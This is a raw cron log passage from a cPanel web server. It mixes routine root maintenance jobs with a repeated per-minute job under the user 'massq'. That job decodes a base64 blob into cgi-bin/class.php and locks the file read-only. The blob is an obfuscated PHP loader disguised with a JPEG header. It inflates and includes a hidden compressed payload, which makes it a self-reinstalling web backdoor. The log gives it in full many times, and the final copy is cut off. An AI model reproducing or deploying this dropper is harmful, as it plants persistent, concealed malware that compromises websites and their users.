Sep  7 08:20:01 server CROND[26333]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 08:20:01 server CROND[26339]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 08:20:01 server CROND[26337]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 08:20:01 server CROND[26338]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 08:20:01 server CROND[26342]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:20:01 server CROND[26345]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:20:01 server CROND[26343]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 08:20:01 server CROND[26347]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 08:20:01 server CROND[26346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:21:01 server CROND[27269]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:21:01 server CROND[27270]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:21:01 server CROND[27271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:22:01 server CROND[27647]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:22:01 server CROND[27648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:22:01 server CROND[27649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:23:01 server CROND[28034]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:23:01 server CROND[28035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:23:01 server CROND[28036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:24:01 server CROND[28417]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:24:01 server CROND[28418]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:24:01 server CROND[28416]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:25:01 server CROND[28812]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 08:25:01 server CROND[28814]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 08:25:01 server CROND[28819]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:25:01 server CROND[28817]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:25:01 server CROND[28816]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 08:25:01 server CROND[28818]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 08:25:01 server CROND[28820]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  7 08:25:01 server CROND[28821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:26:01 server CROND[29751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:26:01 server CROND[29752]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:26:01 server CROND[29753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:27:01 server CROND[30134]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 08:27:01 server CROND[30135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:27:01 server CROND[30136]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:27:01 server CROND[30137]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:28:01 server CROND[30546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:28:01 server CROND[30547]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:28:01 server CROND[30548]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:29:01 server CROND[30937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:29:01 server CROND[30938]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:29:01 server CROND[30939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:30:01 server CROND[31339]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 08:30:01 server CROND[31340]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 08:30:01 server CROND[31341]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 08:30:01 server CROND[31342]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  7 08:30:01 server CROND[31345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:30:01 server CROND[31347]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 08:30:01 server CROND[31348]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 08:30:01 server CROND[31349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:30:01 server CROND[31346]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:31:01 server CROND[32273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:31:01 server CROND[32274]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:31:01 server CROND[32275]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVK